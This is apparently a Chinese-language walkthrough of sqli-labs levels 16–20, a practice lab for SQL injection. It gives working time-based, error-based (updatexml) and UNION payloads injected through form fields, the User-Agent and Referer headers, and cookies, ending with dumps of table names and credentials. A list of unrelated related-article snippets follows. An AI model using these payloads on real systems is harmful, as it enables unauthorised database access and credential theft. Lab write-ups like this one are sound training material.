less 16:

  和less 15基本一致,只是对参数进行了 ") 的包裹,注意闭合语句使用延时注入即可。

  下面给一个payload示例:

  uname=admin")and if((left(database(),1)>'a'),1,sleep(3))#&passwd=11&submit=Submit

  

  这里猜解成功就会显示登录成功,失败了会页面会延时3s跳转出失败的提示信息。

  

  

less 17:

  可以看到这是一个修改密码的界面:

  

  输入:

  username:admin  

  new password:11‘

  出现错误,通过源码也可以知道是password被 " 包裹在password处闭合 " 即可

  

  其他步骤与上面几关差不多了,利用延时注入即可。(本关也可以使用报错注入下面延时报错注入)

  报错注入:

  

less 18:

  源码中在check_input()函数对username和password进行了各种转义,所以我们寻找新的注入点。

  发现:

    $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

  源码中操作了将useragent和ip插入到数据库中,所以注入点应该是在这里,因为修改ip不方便,所以我们修改useragent。

  1.用burp suite或live https headers(火狐插件)抓包并修改useragent,下面用burp suite演示

    抓到包后发送到repeater

    

    在headers部分修改useragent来构造payload

    

    这里用到报错注入:

    首先concat()函数,连接多个字符串

    updateXML(XML_document,XPath_string,new_value)

    第一个参数:XML_document是string格式

    第二个参数:XPath_string(XPath格式的字符串)  

    第三个参数:new_value,string格式,替换查找到的符合条件的数据。

    函数功能演示:

    select updatexml(1,concat(0x7e,(select username from 'users' limit 0,1),0x7e),1);

    这里concat会把select查到的username列的第一个字段也就是Dumb和~(0x7e)连接起来,也就是

    ~Dumb~ 而这显然不符合XPath_string格式,这时会产生报错,报错时会把concat的内容回显出来。

    也就是利用concat执行我们构造的payload,再利用updatexml的报错机制将payload获取到的内容

    (执行结果)返回。

    关于上面(包括下面也会)用到0x7e,而且只用这个,网上解释为不加的话返回内容很可能被吃掉部分,

    据说是updatexml的特性。

    

    构造payload示例:

      ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=security.users limit 0,3),0x7e),1)  or '1'='1

    或 ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=security.users limit 0,3),0x7e),1) ,'','')#

    主要是第二个payload可能难以理解,我给大家稍解释一下。

    源码:$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

    在后台执行的是“”中的insert into语句,我们的注入点选择的是uagent,那这里不仅要闭合头部,还要注意后面的 ip和uname 缺一不可,所以用#注释的时候要先用 ' 闭合 id 和 uname 以及 )之后再用#

    演示得到数据库

    

  得到表名:

    ' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or '1'='1

    用limit参数控制想要获取第几个表名。

  剩下步骤基本与less  1 一致,在uagent部分构造payload即可。

less 19

  username:admin

   password:admin

  登录成功后看到:与18关类似,只不过这里注入要通过Referer,而不是uagent

  

  依旧是抓包、改包、构造payload:

  改头部的Referer部分为:' or updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1

  

  上面的payload也可以换成下面这句,通过源码发现insert相较于less 18 少了一个参数:

  $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

  那么可这么构造:

  ' or updatexml(1,concat(0x7e,database(),0x7e),1),'')#

  接下来与less 18基本一致 不再赘述。

less 20:

  username:admin  

  password:admin

  登录之后可以看到如下界面:

  首先关于源代码cookie设置了几个判断语句:

  1.判断cookie中的uname是否被设置,若没有,返回的是登录前要求输入username和password的界面,只有登录成功才会发放cookie。

  2.如果uname非空,判断用户是否选择删除cookie,若没有删除,则用uname作为参数查询数据库返回信息(所以这里cookie是注入点)

  ps:如果抓到的包cookie里面不像下图那样有uname=*****的内容的话需要重新抓,否则进不去登录成功的页面

  

  3.如过点击了delete cookie 则cookie的有效时间变为负值

  这里cue几个点:

  1.需要抓正确的用户名和密码的包才能得到有效cookie

  2.构造payload时,语句应为 cookie: uname=' ************ ,没有uname=的话返回的是登录前的界面。

  

  ok  下面还是利用burp suite工具,更改cookie的值构造payload即可。

  比如这里 cookie: uname=' union select 1,2,3# 判断显示位,只有2,3回显

  

  剩下的基本和less 1一致,爆库,爆表,爆列,获取信息。

      爆表: 

    cookie:uname='union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

  爆列:

    cookie:uname='union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #

  获取信息:

    cookie:unmae='union select 1,2,group_concat(concat_ws('-',username,password)) from 'users'#

    

       

sqli-labs 16-20的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. 【Teradata】安装SQL Assistant和Administrator 16.20(含查看.net版本)

    1.安装介质获取: 获取的路径:connections==>Gateways==>Customer Services==>TOOLS & APPLICATIONS(点击Mor ...

  3. Jmeter分布式(转)jmeter -n -t baidu.jmx -l result.jtl -R 172.16.20.146:1099

    1.准备2台在同一个局域网内的机器,一台作为master主控机,一台作为slave 执行机 master机器ip:172.16.20.134 slave机器ip:172.16.20.146 2.在2台 ...

  4. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  5. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  6. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  7. 编写高质量代码:改善Java程序的151个建议(第1章:JAVA开发中通用的方法和准则___建议16~20)

    建议16:易变业务使用脚本语言编写 Java世界一直在遭受着异种语言的入侵,比如PHP,Ruby,Groovy.Javascript等,这些入侵者都有一个共同特征:全是同一类语言-----脚本语言,它 ...

  8. Currency Exchange 分类: POJ 2015-07-14 16:20 10人阅读 评论(0) 收藏

    Currency Exchange Time Limit: 1000MS Memory Limit: 30000K Total Submissions: 22180 Accepted: 8015 De ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

随机推荐

  1. 在web.xml正确加载spring配置文件的方式

    ssm框架整合时一直报出没有创建实例bean的错误,一直以为是代码原因,反复测试了很久,才找到原因是spring配置文件没有正确导入,下图是我的错误示例 web.xml加载spring配置文件的方式主 ...

  2. ollvm混淆的某apk题目的逆向分析

    打开jadx,就发现了我们的老朋友数字壳 典型的类抽取壳,直接上fart脱就完事了,我这里使用的是fart的frida脚本,省去了刷机的步骤 这里的脱壳脚本,自行去github的寒冰大佬那边clone ...

  3. 我是如何用redis做实时订阅推送的(转)

    前阵子开发了公司领劵中心的项目,这个项目是以redis作为关键技术落地的.       先说一下领劵中心的项目吧,这个项目就类似京东app的领劵中心,当然图是截取京东的,公司的就不截了...   其中 ...

  4. 数据源连接数据库配置相关xml文件

    学完数据源连接数据后,做个笔记,当我们的程序对数据库访问频繁时,为了提高程序运行效率,我们可以通过 数据源连接数据库,从数据库连接池中直接取得出于空闲状态的数据库连接对象,以下是相关xml文件的配置: ...

  5. [小技巧] Notepad++关闭拼写检查

    From : http://blog.csdn.net/xuefeng0707/article/details/18272989 把[插件]-[DSpellCheck]-[Spell Check Do ...

  6. XCTF python-trade

    一.查看文件类型 后缀名为pyc,说明是python字节码文件,python和java在编译方式上很像,都是编译兼并解释型,先编译成字节码,在虚拟机上解释成机器代码. 二.反编译 三.写个exp 分析 ...

  7. buu pyre

    一.下载附件是是pyc的字节码文件,找个在线网站反编译一下 思路还是挺清晰: 先逆着求出code, 这里就是求余,有点麻烦,那个+128%128其实没啥用的,省略就好了 算法里面再处理一下细节,跑一下 ...

  8. 20道Java实习生笔试面试选择题(内附答案解析)

    ​1.以下对继承的描述错误的是(A) A.Java中的继承允许一个子类继承多个父类 B.父类更具有通用性,子类更具体 C.Java中的继承存在的传递性 D.当实例化子类时会递归调用父类中的构造方法 解 ...

  9. 解决ionic5多个模态关闭一个其他不显示的问题

    ionic5 modal使用过程中,在模态窗中打开另外一个模态窗,浏览器中显示正常,但是andorid8系统真机调试时,关闭最上层模态窗,上级模态窗DOM中存在,但是不显示. 原因是android版本 ...

  10. 灵魂画手的零基础python教程1:关于Python学习的误区、python的优缺点、前景

    滴~ 近段时间,因为工作项目的原因,阿菌要重拾起python这门语言了,所以顺势写一门python教程,精心的编排,配上漫画和视频,希望能帮助更多想接触编程的同学入门,课程将从基础语法开始讲起,和大家 ...